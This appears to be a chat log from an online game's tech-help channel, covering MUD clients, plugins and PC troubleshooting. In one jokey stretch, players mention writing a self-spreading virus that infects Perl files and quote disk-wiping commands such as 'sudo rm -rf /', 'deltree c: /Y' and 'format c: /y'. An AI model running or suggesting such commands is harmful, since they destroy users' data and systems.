T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: when you do msconfig it always comes up with that stupid message at startup tho, any way to make that go away?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: yeah, a clickable box on that message iirc
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: don't use msconfig to turn it off...use msconfig to see where it's defined
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: and then remove it from the folder or delete the registry key manually
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: and then where....registry?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: msconfig says where...it depends
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: usually in the startup key tho i think?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: a dozen places...gotta read what it says
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: nods
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: good deal
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: i normally just disable all in msconfig cause soemtimes there are like 40 things there
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: like "Common Startup" is the startup folder of all users
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: ok.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: thanks guys.  i'm a tech support newb
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: learning a ton.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: seems most our problems are outlook related. i would never use that program if i could at all avoid it.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tormat Tech: starting to really hate my compuer...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Leinei Tech: because the T key doesn't work all the time?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tormat Tech: thats par of i
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: lol
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tormat Tech: starting to have a bunch of connection issues as well
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: that sounds like a symptom of the loose t key.. you should get thatt fixed and i bet your connection will perk right up
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Negader Tech: I used to have an ibm keyboard.  It was really old one, then it broke :(
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Negader Tech: it was a great one.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: why am i getting these weird words when i move around for eg: roomID:58 POS(0/-3/0) move done
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Plugin not working correctly
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's not mud output
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: what should i do?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Fix the plugin? I don't know what you're using.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Ayasinda Tech: check your plugins. Maybe disable all and enable one by one to find the problem
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: im currently using Mudlet, and this has not happened before
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: plugin? O.o
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need to find someone who knows about mudlet then. Or better plan, download Aardwolf Mushclient
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: Im on linux
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: cant use mush
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So download WINE first
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: WINE doesnt support my current system
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: just get parallels 
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: paralells?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: google search?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: whats that
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Zetkax Tech: what linux distro are you running?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: Raspbian
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Tech: Definitely Defines buries her face in her hand and sighs, shaking her head.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: im running this on a raspberry pi
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: its using debian but its modded and cant use wine
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If not mushclient, TinTin is the 2nd most supported *nix client
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: ive heard of that, il take a look at it
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: lol great job vakieh
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Great job?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: sending him to play with tintin is going to be interesting
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: At least he has the chance of finding people on here who know how to work it, unlike mudlet.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: true
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: whats the port for this again?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: tech Anyone know the port for aardmud?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Turie Tech: 23
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: help address
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Gener Tech: help address
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: ok im using tintin :D
T3/r7/2013-11-14.txt.gz:{chan ch=tech}NoobzProject Tech: works
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Medieval Jameson Tech: anyone use blowtorch
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Tormat Tech: in mush can you trigger off locla echos
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kuznazh Tech: in mushclient how do i set the "starting room" for an area?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}SlowMoos Tech: "xset mark"
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kuznazh Tech: thanks
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: it should determine exits that lead to the area automatically
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Definitely Defines Tech: unless its a custom exit (non-standard n/s/e/w/u/d)
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Careocyn Tech: is the "Mudlet Aardwolf GUI" still available somewhere? the wiki entry is empty ..
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: How do I make buttons in Android client?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: Does anyone else watchIng this channel use blowtorch or aard app on a samsung galaxy 3 phone?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: is use blowtorch on a galaxy 3s
T3/r7/2013-11-14.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: I* :P
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: yep
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: do you have any trouble seeing text as you are typing it?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: nope. but i never use the full screen keyboard (turned sideways)
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: only in landscape mode. When loadedthat way. 
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: text doesnt show in portrait either, only autocomplete.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: I can also see after I hit space. 
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: same
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: at least I.know its not just me. thank you.
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: Do you know how to make buttons?
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: yes
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: I need to know, lol
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Quepasa Tech: looks like buttons only work in landscape
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Kirianthis Tech: Ahh :/
T3/r7/2013-11-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone familiar enough with godaddy.com to be able to tell me if i can even give an invited account administrator access to the domain control panel?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Careocyn Tech: I assume the mag110 does not support the mudlet 2.1 correctly (hence why it's no longer on the wiki ? )
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: hi! is there any way to make text in the main window bigger? (I use MUSHclient - [Aardwolf])
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: game->configure->output then Font
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: thanks!
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: on
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: sorry, I did game-configuration-output-font, put 12 but then it does not change, when I close the configuration window. Could you, please, tell how to save the changes?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Pedsirs Tech: i personally just right click the chat window on mush and change font
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Pedsirs Tech: then click ok
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: thanks, but it only changed the communication log, and I ould like to change the font of the main window
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? What is there to save, you open the Output config window, select font, select a different fontsize and click ok twice
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: sry, I don't see where I can click "ok" twice, only see it once, so I click, then I close the "output configuration" window and the font is still the same: 9pt instead of 12, then I go back to the output config and the font is there again 9pt, not 12pt, which I put
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then yours is bugged, works fine here
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Gener Tech: you need to select regular/bold/ etc along with thte size then it will save
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Khazala Tech: off
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ON!
T3/r7/2013-11-15.txt.gz:{chan ch=tech}SlowMoos Tech: ouch
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: once the search and destroy script is in the folder, do I need to do anything else on mushclient to be able to use the search and destroy?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Adrym Tech: plugins - > add
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Bode Tech: sign away your life training it :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: does anyone know how to shut off the vidblain hack found in search and destroy plugin?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ontuct Tech: xset vidblain
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: thanks much!
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Botman Tech: If I swap a solid state drive from one laptop to another, and the second laptop doesn't boot up (sits at Lenovo splash screen) does that mean the SSD is dead or is there more to changing a hard drive than just physically swapping them?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: there is more to it...
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: did the second lt have a ssd in it before?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Quadrapus Tech: Is it worth upgrading to windows 8.1?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Quadrapus Tech: Or not worth the hassle?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: sounds like a bios issue to me
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: or is this a new question :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: anyway to have a mapper exit overide the default ext?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: cexits do that
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: for example there is no way to open the door from the side I'm on instead I use a hatch to end up behind, however the default tries to walk through the locked door
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: instead of using the cexit
T3/r7/2013-11-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It'll take the fastest path, even if there is a locked door in the way if that's what you mean.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: make a cexit to use the hatch and any additional steps, but all in that one cexit
T3/r7/2013-11-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can level lock the exit if you never want to use that one
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: yea ok sounds good I will try thanks
T3/r7/2013-11-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What Myrkul says too...
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: yea that would be great how to do that?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: right-click
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Shinwoo Tech: sweet it worked thank a million
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: in mush is there a way to repete a command a number of times (like heal 5 times)
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Bast Tech: there is a plugin called Repeat_Command, I think it comes standard, you can then do #5 note read
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Swangin Tech: Or you can press up on the arrow keys :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: hmm i will see if it needs to be activated, that syntax doesnt work
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Bast Tech: you have to load it, it isn't loaded automatically, I just meant it is included in the download
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Bast Tech: if it isn't included, you can get it from http://www.gammon.com.au/mushclient/plugins/
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: dont have it, will go get it, thanks
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Omg this runs on linux with wine. I think I love who coded thos.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Swangin Tech: I know right <3
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Swangin Tech: Do you know if there's a fix for the text at login?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Aizma Tech: What do you mean?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: No idea..
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: What is the best Aard client? :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Negader Tech: what runs on linux?  Mushclient?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Yes, Neg.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Negader Tech: i may have to try that.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Swangin Tech: sorry, the login prompt that displays the ascii art
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Swangin Tech: It looks jumbled and off, and so do alot of the menus 
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Negader Tech: C64 with tape drive
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: i still have mine
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Note to self, when playing around with writing a 'virus' (notice the quotes) that infects .pl files ... make it exclude the file it starts in :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Note to self, don't piss off Cheezburger.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Flak Tech: lol
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Flak Tech: what are pl files?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Zetkax Tech: make another note not to announce on a public forum that you write viruses :)
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: perl files
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Flak Tech: ah ok
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Kanashii Tech: rofl
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Writing virii is harmless, releasing them into the web-at-large is not.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Kanashii Tech: the virii are coming
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Tis all in the name of research :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Exactly... so don't piss off the guy with the ability to "not be harmless" in other words.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger laffs.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: just for the record, the right latin plural is vira...it's neutral
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: According to http://en.wiktionary.org/wiki/virii, you are correct in that 'virii' is incorrect, but apparently there is no actual plural :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: don't think it's a singularia tantum
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Flak Tech: if you're good enough to write them, i feel like you can call them whatever the heck you want :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger makes a 'vrooming' noise while waving his hand over his head.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: yah...a aardmush virus
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Aizma Tech: It's not hard to write a virus. A good one is another matter.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Aizma.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: to chardelete on install
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Most sinple virus just takes it's source code, and appends or prepends it to any given file type ... really not that hard to do.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: prepend it to S&D
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: botkiller virus
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The best virus causes the user to ignorantly type "sudo rm -rf /" ..
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger runs away in utter terror!
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Zade Tech: one swiss hippopotamus. two swiss hippopotama ?! -- they are swiss, so they are neutral
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: In all actuallity, though, that's the worst virus ever. It doesn't gain the creator anything.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: or a virus that kicks in if you do more than 200 campaigns in a day, etc etc
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Kanashii Tech: 200....
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: back when AOL came on floppy, I always wanted to replace the autoexec.bat on them with format c: /y  (or whatever it was, my DOS is rusty) and stick them in random magazines
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Oh I saw that virus once, I think it involved a mushroom cloud when it activated.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: deltree c: /Y
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Bast Tech: This is buried in my code -> if idle > 10 minutes, runto ravi, tpspend token (for all tokens),runto fido,fido token Bast (for all tokens)
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: is there a way to switch from having the list of cp mobs list rooms back to listing areas?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Become a r1 again and never remort...
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Zetkax Tech: nice bast
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: THAT's WHERE MY TPs WENT!!!!!
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: really, but what if I don't know where the rooms are in which areas?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: i had to write a white virus before.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Flak Tech: thats racist
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: unicornbaby: then you learn or you use tools
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: rt ravi
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: rt ravi;while (gmcp.account.tp > 0) { tpspend token;cnt++};rt fido;for (i=0
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Bah, tired of escaping ;s, you get the idea
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: you are not handling having enough gold to buy tp
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: the mapper can lookup every room you've been in since installing MUSHclient, you can use in-game things like mobdeaths, you can use external tools like the website rooms.gaardian.com or duckbat...or worst case, you can type areas lowlevel highlevel, run to each one and try to hunt and where your target
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tormat Tech: you know its bad when you want to do all your linx admin with mushclient as your telnet client
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: use a terminal like a real *nix user :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: MC has too mush useless bulk for simple *nix admining
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Zade Tech: Bast, that code is slightly defective, does not include "rt bank, withdraw all"
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: do u need to do anything specific with mushclient and the search and destroy script? Like if I don't have hunt yet, do I just type hunt <mob> and script will hunt it?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: MUSHclient is a line-mode telnet client, which won't work for lots of menu systems...
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: the hunt part of search and destroy doesn't care what your hunt practice is or if you have hunt...the hunt part is not interested in actually hunting
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: securecrt ftw
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: there's also an autohunt that does just that
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: what is securecrt ftw?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: ah for autohunt
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: ht for hunt trick
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: the securecrt wasn't for you
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: it was talking about connecting to unix systems to admin stuff
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: abe you use autohunt for secure connections?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Unicornbaby Tech: oh my bad, sorry.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Ullin Tech: that's weird
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: although I've never seen the need for a commercial client when putty is great
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Meh, they had the key already :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: and just use terminal.app on the Macs
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nods, when I'm on *nix, I just use the terminal, but on windows I need to use putty or securecrt, and they had crt installed and keyed already, so it was whatev :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: nod, if it happened to be there, no reason not to use it
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: I keep puttyportable on a flash drive to drag onto any system I'm using that doesn't already have it
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Any perl guru's around for a recursive directory optimization question?
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Oh well, to perlmonks I go :P
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Kanashii Tech: ActiveX DLL? :(
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger raises an eyebrow.
T3/r7/2013-11-15.txt.gz:{chan ch=tech}Kanashii Tech: nothing. I'm just frustrated.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ranrr Tech: Sob, the only networking magazine worth reading, the Internet Protocol Journal, has been cancelled. :(
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Limon Tech: how can disable channels printing on the screen without turning off the channel?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: mush? right click on com log and choose echo on main window none ....in other clients, learn how to gag things from screen
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Atle Tech: anyone know why it not longer shows up on my prompt when DB is available?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: how does one execute inside a script instead of <send>
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: mush
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: change the sendto dropdown in the alias to execute
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: or do you mean inside an actual script rather than an alias
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: its not a drop down inside the plugin tho
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: use execute inside the script?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: Execute("recall")
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: thanks will try that
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: atle: help daily, look at the third syntax
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: is there a way to get rid of the stuff at the bottom of the screen with mushclient, saves and all that stuff?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Turie Tech: View>status bar
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Arnica Tech: Gotta love Time to tick, though.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: doesn't typing "ah" in mushclient use autohunt?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if you have a plugin that does that
T3/r7/2013-11-16.txt.gz:{chan ch=tech}SlowMoos Tech: autohunt?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: yes, I was told with the S and D script that you can use auto hunt and it lets u hunt cp mobs..?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: you can never hunt cp mobs
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: it helps you use hunt trick with cp mobs, not help you hunt cp mobs (as that is impossible)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: ah mobname
T3/r7/2013-11-16.txt.gz:{chan ch=tech}SlowMoos Tech: then it's ht for hunt trick
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ontuct Tech: ht does hunt 1.mob 2.mob 3.mob
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: aka hunt trick  (help hunt trick)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ontuct Tech: I meant it does the incrementing for you.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: yes I am aware of the hunt trick and how to use it, but I was told with the search and destroy script that you can hunt cp mobs in mushclient
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: you were told wrong
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: ht + mapper = pretty much right room for mob
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ontuct Tech: it will only hunt trick and where the mob, not allow you to hunt it down.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, so ah (mob name) won't work, correct?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Nuanse Tech: not with cp mobs, it works with quest mobs though
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: correct
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Unicornbaby Tech: ok thanks for clearing that up lol
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: is there anything better than mccp v86?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: even in theory there's not?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: you haven't defined "better".
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Turie Tech: There is mccp abe86. It works better I think.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: regarding aardwolf, there is nothing better.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: well. something that is just as fast or faster, and better compresses >.>
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: mccp uses zlib
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: I don't know much about compression.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: zlib.. gzip.. ya no clue
